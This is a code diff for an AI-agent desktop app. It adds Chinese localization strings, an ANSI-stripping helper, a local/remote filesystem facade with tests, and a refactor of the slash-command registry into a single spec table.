'session.togglePin': '固定/取消固定当前会话',
'composer.focus': '聚焦输入框',
@@ -288,7 +297,16 @@ export const zh: Translations = {
technicalDesc: '包含原始工具参数/结果及底层细节。',
themeTitle: '主题',
themeDesc: '仅桌面端调色板。所选模式叠加其上。',
- themeProfileNote: profile => `已为「${profile}」配置文件保存——每个配置文件保留各自的主题。`
+ themeProfileNote: profile => `已为「${profile}」配置文件保存——每个配置文件保留各自的主题。`,
+ installTitle: '从 VS Code 安装',
+ installDesc: '粘贴 Marketplace 扩展 ID(例如 dracula-theme.theme-dracula),将其配色主题转换为桌面调色板。',
+ installPlaceholder: 'publisher.extension',
+ installButton: '安装',
+ installing: '安装中…',
+ installError: '无法安装该主题。',
+ installed: name => `已安装「${name}」。`,
+ removeTheme: '移除主题',
+ importedBadge: '已导入'
},
fieldLabels: defineFieldCopy({
model: '默认模型',
@@ -820,6 +838,17 @@ export const zh: Translations = {
settings: '设置',
changeTheme: '更改主题...',
changeColorMode: '更改颜色模式...',
+ installTheme: {
+ title: '安装主题...',
+ placeholder: '搜索 VS Code Marketplace...',
+ loading: '正在搜索 Marketplace...',
+ error: '无法连接到 Marketplace。',
+ empty: '没有匹配的主题。',
+ install: '安装',
+ installing: '安装中...',
+ installed: '已安装',
+ installs: count => `${count} 次安装`
+ },
settingsFields: '设置字段',
mcpServers: 'MCP 服务器',
archivedChats: '已归档对话',
@@ -1262,12 +1291,14 @@ export const zh: Translations = {
export: '导出',
rename: '重命名',
archive: '归档',
+ newWindow: '新窗口',
copyIdFailed: '无法复制会话 ID',
actionsFor: title => `${title} 的操作`,
sessionActions: '会话操作',
sessionRunning: '会话运行中',
needsInput: '需要你输入',
waitingForAnswer: '正在等待你的回答',
+ handoffOrigin: platform => `从 ${platform} 转接`,
renamed: '已重命名',
renameFailed: '重命名失败',
renameTitle: '重命名会话',
@@ -1306,7 +1337,7 @@ export const zh: Translations = {
],
startVoice: '开始语音对话',
queueMessage: '排队消息',
- steer: '引导当前运行 (⌘⏎)',
+ steer: '引导当前运行',
stop: '停止',
send: '发送',
speaking: '讲话中',
@@ -1523,6 +1554,7 @@ export const zh: Translations = {
getKey: '获取密钥',
replaceCurrent: '替换当前值',
pasteApiKey: '粘贴 API 密钥',
+ localApiKeyPlaceholder: 'API 密钥(可选 — 仅当端点需要时填写)',
couldNotSave: '无法保存凭据。',
connecting: '连接中',
update: '更新',
@@ -1641,6 +1673,8 @@ export const zh: Translations = {
branch: branch => `分支 ${branch}`,
closeCommandCenter: '关闭命令中心',
openCommandCenter: '打开命令中心',
+ showTerminal: '显示终端',
+ hideTerminal: '隐藏终端',
gateway: '网关',
gatewayReady: '就绪',
gatewayNeedsSetup: '需要设置',
@@ -1679,6 +1713,9 @@ export const zh: Translations = {
terminal: '终端',
noFolderSelected: '未选择文件夹',
changeCwdTitle: '更改工作目录',
+ remotePickerTitle: '选择远程文件夹',
+ remotePickerDescription: '浏览已连接后端上的文件夹。',
+ remotePickerSelect: '选择文件夹',
folderTip: cwd => `${cwd} — 点击更改文件夹`,
openFolder: '打开文件夹',
refreshTree: '刷新文件树',
@@ -1696,8 +1733,7 @@ export const zh: Translations = {
tryAgain: '重试',
loadingTree: '正在加载文件树',
loadingFiles: '正在加载文件',
- terminalFocus: '聚焦终端视图',
- terminalSplit: '返回分栏视图',
+ terminalHide: '隐藏终端',
addToChat: '添加到对话'
},
@@ -1801,7 +1837,8 @@ export const zh: Translations = {
restoreCheckpoint: '恢复检查点',
restoreNext: '恢复下一个检查点',
goForward: '前进',
- sendEdited: '发送编辑后的消息'
+ sendEdited: '发送编辑后的消息',
+ attachingFile: '正在附加…'
},
approval: {
gatewayDisconnected: 'Hermes 网关未连接',
@@ -1923,7 +1960,14 @@ export const zh: Translations = {
clipboard: '剪贴板',
noClipboardImage: '剪贴板中没有图片',
clipboardPasteFailed: '粘贴剪贴板失败',
- dropFiles: '拖放文件'
+ dropFiles: '拖放文件',
+ handoff: {
+ pickPlatform: '选择目标平台',
+ success: platform => `已移交到 ${platform}。随时可在此处恢复。`,
+ systemNote: platform => `↻ 已移交到 ${platform} — 随时可在此处恢复。`,
+ failed: error => `移交失败:${error}`,
+ timedOut: '等待网关超时。`hermes gateway` 是否正在运行?'
+ }
},
errors: {
diff --git a/apps/desktop/src/lib/ansi.ts b/apps/desktop/src/lib/ansi.ts
index f30987ec6053..c7770e8b7778 100644
--- a/apps/desktop/src/lib/ansi.ts
+++ b/apps/desktop/src/lib/ansi.ts
@@ -173,3 +173,14 @@ export function hasAnsiCodes(input: string): boolean {
// eslint-disable-next-line no-control-regex
return /\x1b\[/.test(input)
}
+
+/** Remove all ANSI escape sequences, returning plain text. Use when output is
+ * rendered as text (e.g. chat system messages) rather than styled segments —
+ * otherwise the ESC byte is invisible and the `[1;31m…` payload leaks through. */
+export function stripAnsi(input: string): string {
+ if (!input) {
+ return input
+ }
+
+ return input.replace(OTHER_ESCAPE_RE, '').replace(CSI_RE, '')
+}
diff --git a/apps/desktop/src/lib/chat-messages.ts b/apps/desktop/src/lib/chat-messages.ts
index c6c9cee48d8d..e569f2582f24 100644
--- a/apps/desktop/src/lib/chat-messages.ts
+++ b/apps/desktop/src/lib/chat-messages.ts
@@ -58,9 +58,14 @@ export type GatewayEventPayload = {
// approval.request (dangerous command / execute_code) — session-keyed
command?: string
description?: string
+ // False when a tirith content-security warning forbids a permanent allow.
+ allow_permanent?: boolean
// secret.request (skill credential capture)
env_var?: string
prompt?: string
+ // terminal.read.request (GUI agent reading the in-app terminal pane)
+ start?: number
+ count?: number
}
export function textPart(text: string): ChatMessagePart {
diff --git a/apps/desktop/src/lib/chat-runtime.test.ts b/apps/desktop/src/lib/chat-runtime.test.ts
index c06ea6f324c4..c2a9099a1a80 100644
--- a/apps/desktop/src/lib/chat-runtime.test.ts
+++ b/apps/desktop/src/lib/chat-runtime.test.ts
@@ -1,6 +1,42 @@
import { describe, expect, it } from 'vitest'
-import { coerceThinkingText } from './chat-runtime'
+import type { ComposerAttachment } from '@/store/composer'
+
+import { coerceThinkingText, optimisticAttachmentRef } from './chat-runtime'
+
+const DATA_URL = 'data:image/png;base64,iVBORw0KGgoAAAANS'
+
+function attachment(overrides: Partial & Pick): ComposerAttachment {
+ return { id: 'a', label: 'file.png', ...overrides }
+}
+
+describe('optimisticAttachmentRef', () => {
+ it('renders an image from its in-hand base64 preview (no @image: path ref)', () => {
+ const ref = optimisticAttachmentRef(attachment({ kind: 'image', detail: '/tmp/shot.png', previewUrl: DATA_URL }))
+
+ // The raw data URL flows through extractEmbeddedImages → inline thumbnail,
+ // dodging the remote /api/media 403 an @image: ref would hit.
+ expect(ref).toBe(DATA_URL)
+ })
+
+ it('falls back to an @image: path ref when no preview is available', () => {
+ expect(optimisticAttachmentRef(attachment({ kind: 'image', detail: '/tmp/shot.png' }))).toBe('@image:/tmp/shot.png')
+ })
+
+ it('ignores a non-data preview url and uses the path ref', () => {
+ const ref = optimisticAttachmentRef(
+ attachment({ kind: 'image', detail: '/tmp/shot.png', previewUrl: 'https://example.com/x.png' })
+ )
+
+ expect(ref).toBe('@image:/tmp/shot.png')
+ })
+
+ it('passes non-image attachments straight through to attachmentDisplayText', () => {
+ expect(optimisticAttachmentRef(attachment({ kind: 'file', refText: '@file:src/a.ts', previewUrl: DATA_URL }))).toBe(
+ '@file:src/a.ts'
+ )
+ })
+})
describe('coerceThinkingText', () => {
it('strips streaming status prefixes from thinking deltas', () => {
diff --git a/apps/desktop/src/lib/chat-runtime.ts b/apps/desktop/src/lib/chat-runtime.ts
index 2599fb0dad32..ac5273a2236d 100644
--- a/apps/desktop/src/lib/chat-runtime.ts
+++ b/apps/desktop/src/lib/chat-runtime.ts
@@ -40,6 +40,13 @@ export function createClientSessionState(
messages,
branch: '',
cwd: '',
+ model: '',
+ provider: '',
+ reasoningEffort: '',
+ serviceTier: '',
+ fast: false,
+ yolo: false,
+ personality: '',
busy: false,
awaitingResponse: false,
streamId: null,
@@ -165,6 +172,29 @@ export function attachmentDisplayText(attachment: ComposerAttachment): string |
return null
}
+/**
+ * Display ref for the optimistic (in-flight) user bubble.
+ *
+ * Images prefer their in-hand base64 preview (a `data:` URL) over a file path.
+ * `DirectiveContent` runs `extractEmbeddedImages` first, so a raw `data:` URL
+ * renders as an inline thumbnail with zero network. An `@image:` ref
+ * would instead route through `/api/media`, which in remote mode 403s ("Path
+ * outside media roots") on a local path the gateway can't read yet — flashing a
+ * fallback chip until submit uploads the bytes. The preview also survives the
+ * post-sync rewrite (bytes go to the agent via the attached-image pipeline, not
+ * this display ref), so the thumbnail stays stable instead of remounting.
+ *
+ * Everything else (files, folders, terminals, post-sync `@file:` refs) falls
+ * through to `attachmentDisplayText`.
+ */
+export function optimisticAttachmentRef(attachment: ComposerAttachment): string | null {
+ if (attachment.kind === 'image' && attachment.previewUrl?.startsWith('data:')) {
+ return attachment.previewUrl
+ }
+
+ return attachmentDisplayText(attachment)
+}
+
export function personalityNamesFromConfig(config: unknown): string[] {
const root = config && typeof config === 'object' ? (config as Record) : {}
const agent = root.agent && typeof root.agent === 'object' ? (root.agent as Record) : {}
diff --git a/apps/desktop/src/lib/desktop-fs.test.ts b/apps/desktop/src/lib/desktop-fs.test.ts
new file mode 100644
index 000000000000..c45ffb6745ae
--- /dev/null
+++ b/apps/desktop/src/lib/desktop-fs.test.ts
@@ -0,0 +1,116 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
+
+import {
+ desktopDefaultCwd,
+ desktopGitRoot,
+ readDesktopDir,
+ readDesktopFileDataUrl,
+ readDesktopFileText,
+ selectDesktopPaths,
+ setDesktopFsRemotePicker
+} from './desktop-fs'
+
+const readDir = vi.fn(async () => ({ entries: [{ name: 'local', path: '/local', isDirectory: true }] }))
+const readFileText = vi.fn(async () => ({ path: '/local/file.txt', text: 'local', byteSize: 5 }))
+const readFileDataUrl = vi.fn(async () => 'data:text/plain;base64,bG9jYWw=')
+const gitRoot = vi.fn(async () => '/local')
+const selectPaths = vi.fn(async () => ['/local'])
+const api = vi.fn(async ({ path }: { path: string }) => {
+ if (path.startsWith('/api/fs/list?')) return { entries: [{ name: 'remote', path: '/remote', isDirectory: true }] }
+ if (path.startsWith('/api/fs/read-text?')) return { path: '/remote/file.txt', text: 'remote', byteSize: 6 }
+ if (path.startsWith('/api/fs/read-data-url?')) return { dataUrl: 'data:text/plain;base64,cmVtb3Rl' }
+ if (path.startsWith('/api/fs/git-root?')) return { root: '/remote' }
+ if (path === '/api/fs/default-cwd') return { cwd: '/backend/project', branch: 'main' }
+ throw new Error(`unexpected path ${path}`)
+})
+
+function stubBridge() {
+ vi.stubGlobal('window', {
+ hermesDesktop: {
+ api,
+ gitRoot,
+ readDir,
+ readFileDataUrl,
+ readFileText,
+ selectPaths
+ }
+ })
+}
+
+describe('desktop filesystem facade', () => {
+ beforeEach(() => {
+ stubBridge()
+ $connection.set(null)
+ })
+
+ afterEach(() => {
+ vi.unstubAllGlobals()
+ vi.clearAllMocks()
+ $connection.set(null)
+ setDesktopFsRemotePicker(null)
+ })
+
+ it('uses local Electron filesystem methods in local mode', async () => {
+ $connection.set({ mode: 'local' } as never)
+
+ await expect(readDesktopDir('/work')).resolves.toEqual({ entries: [{ name: 'local', path: '/local', isDirectory: true }] })
+ await expect(readDesktopFileText('/work/file.txt')).resolves.toMatchObject({ text: 'local' })
+ await expect(readDesktopFileDataUrl('/work/file.txt')).resolves.toBe('data:text/plain;base64,bG9jYWw=')
+ await expect(desktopGitRoot('/work')).resolves.toBe('/local')
+ await expect(selectDesktopPaths({ directories: true })).resolves.toEqual(['/local'])
+
+ expect(readDir).toHaveBeenCalledWith('/work')
+ expect(readFileText).toHaveBeenCalledWith('/work/file.txt')
+ expect(readFileDataUrl).toHaveBeenCalledWith('/work/file.txt')
+ expect(gitRoot).toHaveBeenCalledWith('/work')
+ expect(selectPaths).toHaveBeenCalledWith({ directories: true })
+ expect(api).not.toHaveBeenCalled()
+ })
+
+ it('routes filesystem reads through authenticated backend REST in remote mode', async () => {
+ $connection.set({ mode: 'remote' } as never)
+
+ await expect(readDesktopDir('/home/user/project')).resolves.toMatchObject({ entries: [{ name: 'remote' }] })
+ await expect(readDesktopFileText('/home/user/project/a b.txt')).resolves.toMatchObject({ text: 'remote' })
+ await expect(readDesktopFileDataUrl('/home/user/project/a b.txt')).resolves.toBe('data:text/plain;base64,cmVtb3Rl')
+ await expect(desktopGitRoot('/home/user/project')).resolves.toBe('/remote')
+ await expect(desktopDefaultCwd()).resolves.toEqual({ cwd: '/backend/project', branch: 'main' })
+
+ expect(api).toHaveBeenCalledWith({ path: '/api/fs/list?path=%2Fhome%2Fuser%2Fproject' })
+ expect(api).toHaveBeenCalledWith({ path: '/api/fs/read-text?path=%2Fhome%2Fuser%2Fproject%2Fa%20b.txt' })
+ expect(api).toHaveBeenCalledWith({ path: '/api/fs/read-data-url?path=%2Fhome%2Fuser%2Fproject%2Fa%20b.txt' })
+ expect(api).toHaveBeenCalledWith({ path: '/api/fs/git-root?path=%2Fhome%2Fuser%2Fproject' })
+ expect(api).toHaveBeenCalledWith({ path: '/api/fs/default-cwd' })
+ expect(readDir).not.toHaveBeenCalled()
+ expect(readFileText).not.toHaveBeenCalled()
+ expect(readFileDataUrl).not.toHaveBeenCalled()
+ expect(gitRoot).not.toHaveBeenCalled()
+ })
+
+ it('uses the registered in-app directory picker in remote mode', async () => {
+ const remoteSelect = vi.fn(async () => ['/remote/project'])
+ $connection.set({ mode: 'remote' } as never)
+ setDesktopFsRemotePicker({ selectPaths: remoteSelect })
+
+ await expect(selectDesktopPaths({ defaultPath: '/remote', directories: true, multiple: false })).resolves.toEqual([
+ '/remote/project'
+ ])
+
+ expect(remoteSelect).toHaveBeenCalledWith({ defaultPath: '/remote', directories: true, multiple: false })
+ expect(selectPaths).not.toHaveBeenCalled()
+ })
+
+ it('does not treat the remote directory picker as a general file picker', async () => {
+ const remoteSelect = vi.fn(async () => ['/remote/project'])
+ $connection.set({ mode: 'remote' } as never)
+ setDesktopFsRemotePicker({ selectPaths: remoteSelect })
+
+ await expect(selectDesktopPaths({ directories: false, multiple: false })).resolves.toEqual([])
+ await expect(selectDesktopPaths({ directories: true, multiple: true })).resolves.toEqual([])
+
+ expect(remoteSelect).not.toHaveBeenCalled()
+ expect(selectPaths).not.toHaveBeenCalled()
+ })
+})
diff --git a/apps/desktop/src/lib/desktop-fs.ts b/apps/desktop/src/lib/desktop-fs.ts
new file mode 100644
index 000000000000..fab307d875d5
--- /dev/null
+++ b/apps/desktop/src/lib/desktop-fs.ts
@@ -0,0 +1,95 @@
+import { $connection } from '@/store/session'
+
+import type { HermesConnection, HermesReadDirResult, HermesReadFileTextResult, HermesSelectPathsOptions } from '@/global'
+
+export interface DesktopFsRemotePicker {
+ selectPaths: (options?: HermesSelectPathsOptions) => Promise
+}
+
+let remotePicker: DesktopFsRemotePicker | null = null
+
+export function setDesktopFsRemotePicker(next: DesktopFsRemotePicker | null) {
+ remotePicker = next
+}
+
+function connectionCacheKey(connection: HermesConnection | null) {
+ if (!connection) {
+ return 'local:'
+ }
+ return `${connection.mode || 'local'}:${connection.profile || ''}:${connection.baseUrl || ''}`
+}
+
+export function desktopFsCacheKey() {
+ return connectionCacheKey($connection.get())
+}
+
+export function isDesktopFsRemoteMode() {
+ return $connection.get()?.mode === 'remote'
+}
+
+function fsPath(endpoint: string, filePath: string) {
+ return `/api/fs/${endpoint}?path=${encodeURIComponent(filePath)}`
+}
+
+function bridge() {
+ const desktop = window.hermesDesktop
+ if (!desktop) {
+ throw new Error('Hermes Desktop bridge is unavailable')
+ }
+ return desktop
+}
+
+export async function readDesktopDir(path: string): Promise {
+ const desktop = bridge()
+ if (!isDesktopFsRemoteMode()) {
+ return desktop.readDir(path)
+ }
+ return desktop.api({ path: fsPath('list', path) })
+}
+
+export async function readDesktopFileText(path: string): Promise {
+ const desktop = bridge()
+ if (!isDesktopFsRemoteMode()) {
+ return desktop.readFileText(path)
+ }
+ return desktop.api({ path: fsPath('read-text', path) })
+}
+
+export async function readDesktopFileDataUrl(path: string): Promise {
+ const desktop = bridge()
+ if (!isDesktopFsRemoteMode()) {
+ return desktop.readFileDataUrl(path)
+ }
+
+ const result = await desktop.api({ path: fsPath('read-data-url', path) })
+ return typeof result === 'string' ? result : result.dataUrl || ''
+}
+
+export async function desktopGitRoot(path: string): Promise {
+ const desktop = bridge()
+ if (!isDesktopFsRemoteMode()) {
+ return desktop.gitRoot ? desktop.gitRoot(path) : null
+ }
+
+ const result = await desktop.api<{ root: string | null }>({ path: fsPath('git-root', path) })
+ return result.root
+}
+
+export async function desktopDefaultCwd(): Promise<{ branch: string; cwd: string } | null> {
+ if (!isDesktopFsRemoteMode()) {
+ return null
+ }
+
+ return bridge().api<{ branch: string; cwd: string }>({ path: '/api/fs/default-cwd' })
+}
+
+export async function selectDesktopPaths(options?: HermesSelectPathsOptions): Promise {
+ const desktop = bridge()
+ if (!isDesktopFsRemoteMode()) {
+ return desktop.selectPaths(options)
+ }
+ if (!options?.directories || options.multiple !== false) {
+ return []
+ }
+ return remotePicker ? remotePicker.selectPaths(options) : []
+}
diff --git a/apps/desktop/src/lib/desktop-slash-commands.test.ts b/apps/desktop/src/lib/desktop-slash-commands.test.ts
index de0e72ec28b4..d37738173ce9 100644
--- a/apps/desktop/src/lib/desktop-slash-commands.test.ts
+++ b/apps/desktop/src/lib/desktop-slash-commands.test.ts
@@ -7,7 +7,9 @@ import {
filterDesktopCommandsCatalog,
isDesktopSlashCommand,
isDesktopSlashSuggestion,
- isModelPickerCommand
+ isModelPickerCommand,
+ isPickerCommand,
+ resolveDesktopCommand
} from './desktop-slash-commands'
describe('desktop slash command curation', () => {
@@ -38,6 +40,18 @@ describe('desktop slash command curation', () => {
expect(isDesktopSlashSuggestion('/curator')).toBe(false)
})
+ it('surfaces /tools, /save, and /personality on the desktop', () => {
+ expect(isDesktopSlashSuggestion('/tools')).toBe(true)
+ expect(isDesktopSlashSuggestion('/save')).toBe(true)
+ expect(isDesktopSlashSuggestion('/personality')).toBe(true)
+ expect(isDesktopSlashCommand('/tools')).toBe(true)
+ expect(isDesktopSlashCommand('/save')).toBe(true)
+ expect(isDesktopSlashCommand('/personality')).toBe(true)
+ expect(desktopSlashUnavailableMessage('/tools')).toBeNull()
+ expect(desktopSlashUnavailableMessage('/save')).toBeNull()
+ expect(desktopSlashUnavailableMessage('/personality')).toBeNull()
+ })
+
it('allows aliases to execute without cluttering the popover', () => {
expect(isDesktopSlashSuggestion('/reset')).toBe(false)
expect(isDesktopSlashCommand('/reset')).toBe(true)
@@ -74,6 +88,24 @@ describe('desktop slash command curation', () => {
['/new', 'Start a new desktop chat'],
['/ship-it', 'Run release checklist']
])
+ // skill_count is recomputed from the filtered output (only /ship-it is an
+ // extension command — /new is a built-in) so the /help footer matches what
+ // the user actually sees rather than echoing the unfiltered backend total.
+ expect(filtered.skill_count).toBe(1)
+ })
+
+ it('recomputes skill_count to reflect only extensions surfaced on desktop', () => {
+ const filtered = filterDesktopCommandsCatalog({
+ pairs: [
+ ['/new', 'Start a new session'],
+ ['/clear', 'Clear terminal screen'],
+ ['/gif-search', 'Search for a gif'],
+ ['/ship-it', 'Run release checklist']
+ ],
+ skill_count: 12
+ })
+
+ expect(filtered.pairs?.map(([cmd]) => cmd)).toEqual(['/new', '/gif-search', '/ship-it'])
expect(filtered.skill_count).toBe(2)
})
@@ -123,4 +155,26 @@ describe('desktop slash command curation', () => {
expect(isModelPickerCommand('/new')).toBe(false)
expect(isModelPickerCommand('/skills')).toBe(false)
})
+
+ it('gives /resume (and its aliases) a first-class session picker surface', () => {
+ expect(isPickerCommand('/resume', 'session')).toBe(true)
+ expect(isPickerCommand('/sessions', 'session')).toBe(true)
+ expect(isPickerCommand('/switch', 'session')).toBe(true)
+ // Unlike /model, /resume shows in the popover; its aliases stay hidden.
+ expect(isDesktopSlashSuggestion('/resume')).toBe(true)
+ expect(isDesktopSlashSuggestion('/sessions')).toBe(false)
+ expect(isDesktopSlashCommand('/switch')).toBe(true)
+ // The session picker is distinct from the model picker.
+ expect(isModelPickerCommand('/resume')).toBe(false)
+ })
+
+ it('resolves commands and aliases to their declared surface', () => {
+ expect(resolveDesktopCommand('/new')?.surface).toEqual({ kind: 'action', action: 'new' })
+ expect(resolveDesktopCommand('/reset')?.surface).toEqual({ kind: 'action', action: 'new' })
+ expect(resolveDesktopCommand('/resume')?.surface).toEqual({ kind: 'picker', picker: 'session' })
+ expect(resolveDesktopCommand('/usage')?.surface).toEqual({ kind: 'exec' })
+ expect(resolveDesktopCommand('/clear')?.surface).toEqual({ kind: 'unavailable', reason: 'terminal' })
+ // Skill / quick commands aren't in the registry.
+ expect(resolveDesktopCommand('/gif-search')).toBeNull()
+ })
})
diff --git a/apps/desktop/src/lib/desktop-slash-commands.ts b/apps/desktop/src/lib/desktop-slash-commands.ts
index e373ac94317f..d898a6c83f16 100644
--- a/apps/desktop/src/lib/desktop-slash-commands.ts
+++ b/apps/desktop/src/lib/desktop-slash-commands.ts
@@ -22,110 +22,161 @@ export interface DesktopThemeCommandOption {
name: string
}
-const DESKTOP_COMMAND_META = [
- ['/agents', 'Show active desktop sessions and running tasks'],
- ['/background', 'Run a prompt in the background'],
- ['/branch', 'Branch the latest message into a new chat'],
- ['/compress', 'Compress this conversation context'],
- ['/debug', 'Create a debug report'],
- ['/goal', 'Manage the standing goal for this session'],
- ['/help', 'Show desktop slash commands'],
- ['/new', 'Start a new desktop chat'],
- ['/profile', 'Switch the active Hermes profile'],
- ['/queue', 'Queue a prompt for the next turn'],
- ['/resume', 'Resume a saved session'],
- ['/retry', 'Retry the last user message'],
- ['/rollback', 'List or restore filesystem checkpoints'],
- ['/skin', 'Switch desktop theme or cycle to the next one'],
- ['/status', 'Show current session status'],
- ['/steer', 'Steer the current run after the next tool call'],
- ['/stop', 'Stop running background processes'],
- ['/title', 'Rename the current session'],
- ['/undo', 'Remove the last user/assistant exchange'],
- ['/usage', 'Show token usage for this session'],
- ['/version', 'Show Hermes Agent version'],
- ['/yolo', 'Toggle YOLO — auto-approve dangerous commands']
-] as const
-
-const DESKTOP_COMMANDS: ReadonlySet = new Set(DESKTOP_COMMAND_META.map(([command]) => command))
-
-const DESKTOP_ALIASES = new Map([
- ['/bg', '/background'],
- ['/btw', '/background'],
- ['/fork', '/branch'],
- ['/q', '/queue'],
- ['/reload_mcp', '/reload-mcp'],
- ['/reload_skills', '/reload-skills'],
- ['/reset', '/new'],
- ['/tasks', '/agents']
-])
-
-const DESKTOP_COMMAND_DESCRIPTIONS: ReadonlyMap = new Map(DESKTOP_COMMAND_META)
-
-const PICKER_OWNED_COMMANDS = new Set(['/model'])
-
-const TERMINAL_ONLY_COMMANDS = new Set([
- '/browser',
- '/busy',
- '/clear',
- '/commands',
- '/compact',
- '/config',
- '/copy',
- '/cron',
- '/details',
- '/exit',
- '/footer',
- '/gateway',
- '/gquota',
- '/history',
- '/image',
- '/indicator',
- '/logs',
- '/mouse',
- '/paste',
- '/platforms',
- '/plugins',
- '/quit',
- '/redraw',
- '/reload',
- '/restart',
- '/save',
- '/sb',
- '/set-home',
- '/sethome',
- '/snap',
- '/snapshot',
- '/statusbar',
- '/toolsets',
- '/tools',
- '/update',
- '/verbose'
-])
-
-const MESSAGING_ONLY_COMMANDS = new Set(['/approve', '/deny'])
-
-const SETTINGS_OWNED_COMMANDS = new Set(['/skills'])
-
-const ADVANCED_COMMANDS = new Set([
- '/curator',
- '/fast',
- '/insights',
- '/kanban',
- '/personality',
- '/reasoning',
- '/reload-mcp',
- '/reload-skills',
- '/voice'
-])
-
-const BLOCKED_COMMANDS = new Set([
- ...PICKER_OWNED_COMMANDS,
- ...TERMINAL_ONLY_COMMANDS,
- ...MESSAGING_ONLY_COMMANDS,
- ...SETTINGS_OWNED_COMMANDS,
- ...ADVANCED_COMMANDS
-])
+/**
+ * Local client action a command resolves to. Each id maps to exactly one
+ * handler in the dispatcher (`use-prompt-actions`), so adding a command never
+ * means adding a branch to a switch ladder — you add a row here + a handler
+ * keyed by the id.
+ */
+export type DesktopActionId =
+ | 'branch'
+ | 'handoff'
+ | 'help'
+ | 'new'
+ | 'profile'
+ | 'skin'
+ | 'title'
+ | 'yolo'
+
+/** A command fulfilled by opening a desktop overlay picker. */
+export type DesktopPickerId = 'model' | 'session'
+
+/** Why a known Hermes command has no desktop UI surface. */
+export type DesktopUnavailableReason = 'advanced' | 'messaging' | 'settings' | 'terminal'
+
+/**
+ * How the desktop fulfils a command. This is the single discriminator the
+ * dispatcher, popover, pills, and pickers all read — no parallel block-lists.
+ *
+ * - `action` → handled by a local client handler (new chat, branch, …)
+ * - `picker` → opens an overlay (`/model`, `/resume`); a typed arg is
+ * resolved by that picker instead of falling through
+ * - `exec` → runs on the backend via slash.exec / command.dispatch and
+ * renders its text output inline
+ * - `unavailable`→ a known command with genuinely no desktop UI (terminal-only,
+ * messaging-only, …); shows a reason instead of executing
+ */
+export type DesktopCommandSurface =
+ | { kind: 'action'; action: DesktopActionId }
+ | { kind: 'picker'; picker: DesktopPickerId }
+ | { kind: 'exec' }
+ | { kind: 'unavailable'; reason: DesktopUnavailableReason }
+
+export interface DesktopCommandSpec {
+ /** Canonical command, leading slash included (e.g. `/resume`). */
+ name: string
+ /** Popover/help label; omitted for unavailable commands (never surfaced). */
+ description?: string
+ aliases?: string[]
+ surface: DesktopCommandSurface
+ /**
+ * Hide from the slash popover / completions while still letting it execute.
+ * Used for picker commands reachable from chrome (the model picker lives on
+ * the status bar), so the popover doesn't dead-end on inline completion.
+ */
+ hidden?: boolean
+ /**
+ * The command has an inline options "screen" (theme / personality / session /
+ * platform / toolset list). Picking the bare command in the popover expands to
+ * that argument step instead of committing — mirroring typing `/ ` by hand.
+ */
+ args?: boolean
+}
+
+const exec = (): DesktopCommandSurface => ({ kind: 'exec' })
+const action = (id: DesktopActionId): DesktopCommandSurface => ({ kind: 'action', action: id })
+const picker = (id: DesktopPickerId): DesktopCommandSurface => ({ kind: 'picker', picker: id })
+const unavailable = (reason: DesktopUnavailableReason): DesktopCommandSurface => ({ kind: 'unavailable', reason })
+
+/**
+ * THE source of truth for desktop slash commands. Everything below — execution
+ * gating, popover suggestions, catalog filtering, pill grouping, and the
+ * dispatcher's behavior — derives from this one table.
+ */
+const DESKTOP_COMMAND_SPECS: readonly DesktopCommandSpec[] = [
+ // Local client actions
+ { name: '/new', description: 'Start a new desktop chat', aliases: ['/reset'], surface: action('new') },
+ { name: '/branch', description: 'Branch the latest message into a new chat', aliases: ['/fork'], surface: action('branch') },
+ { name: '/yolo', description: 'Toggle YOLO — auto-approve dangerous commands', surface: action('yolo') },
+ { name: '/handoff', description: 'Hand off this session to a messaging platform', surface: action('handoff'), args: true },
+ { name: '/profile', description: 'Switch the active Hermes profile', surface: action('profile') },
+ { name: '/skin', description: 'Switch desktop theme or cycle to the next one', surface: action('skin'), args: true },
+ { name: '/title', description: 'Rename the current session', surface: action('title') },
+ { name: '/help', description: 'Show desktop slash commands', aliases: ['/commands'], surface: action('help') },
+
+ // Overlay pickers
+ { name: '/model', description: 'Switch the model for this session', surface: picker('model'), hidden: true },
+ {
+ name: '/resume',
+ description: 'Resume a saved session',
+ aliases: ['/sessions', '/switch'],
+ surface: picker('session'),
+ args: true
+ },
+
+ // Backend-executed commands that render useful inline output
+ { name: '/agents', description: 'Show active desktop sessions and running tasks', aliases: ['/tasks'], surface: exec() },
+ { name: '/background', description: 'Run a prompt in the background', aliases: ['/bg', '/btw'], surface: exec() },
+ { name: '/compress', description: 'Compress this conversation context', surface: exec() },
+ { name: '/debug', description: 'Create a debug report', surface: exec() },
+ { name: '/goal', description: 'Manage the standing goal for this session', surface: exec() },
+ { name: '/personality', description: 'Switch personality for this session', surface: exec(), args: true },
+ { name: '/queue', description: 'Queue a prompt for the next turn', aliases: ['/q'], surface: exec() },
+ { name: '/retry', description: 'Retry the last user message', surface: exec() },
+ { name: '/rollback', description: 'List or restore filesystem checkpoints', surface: exec() },
+ { name: '/save', description: 'Save the current transcript to JSON', surface: exec() },
+ { name: '/status', description: 'Show current session status', surface: exec() },
+ { name: '/steer', description: 'Steer the current run after the next tool call', surface: exec() },
+ { name: '/stop', description: 'Stop running background processes', surface: exec() },
+ { name: '/tools', description: 'List or toggle tools available to the agent', surface: exec(), args: true },
+ { name: '/undo', description: 'Remove the last user/assistant exchange', surface: exec() },
+ { name: '/usage', description: 'Show token usage for this session', surface: exec() },
+ { name: '/version', description: 'Show Hermes Agent version', surface: exec() },
+
+ // No desktop surface, but carry an alias (underscore spelling variants).
+ { name: '/reload-mcp', aliases: ['/reload_mcp'], surface: unavailable('advanced') },
+ { name: '/reload-skills', aliases: ['/reload_skills'], surface: unavailable('advanced') }
+]
+
+// Known commands with no desktop surface (and no alias) — a flat name list
+// per reason beats 40 identical object literals.
+const NO_DESKTOP_SURFACE: Record = {
+ terminal: [
+ '/browser', '/busy', '/clear', '/compact', '/config', '/copy', '/cron', '/details',
+ '/exit', '/footer', '/gateway', '/gquota', '/history', '/image', '/indicator', '/logs',
+ '/mouse', '/paste', '/platforms', '/plugins', '/quit', '/redraw', '/reload', '/restart',
+ '/sb', '/set-home', '/sethome', '/snap', '/snapshot', '/statusbar', '/toolsets', '/update', '/verbose'
+ ],
+ messaging: ['/approve', '/deny'],
+ settings: ['/skills'],
+ advanced: ['/curator', '/fast', '/insights', '/kanban', '/reasoning', '/voice']
+}
+
+const ALL_SPECS: readonly DesktopCommandSpec[] = [
+ ...DESKTOP_COMMAND_SPECS,
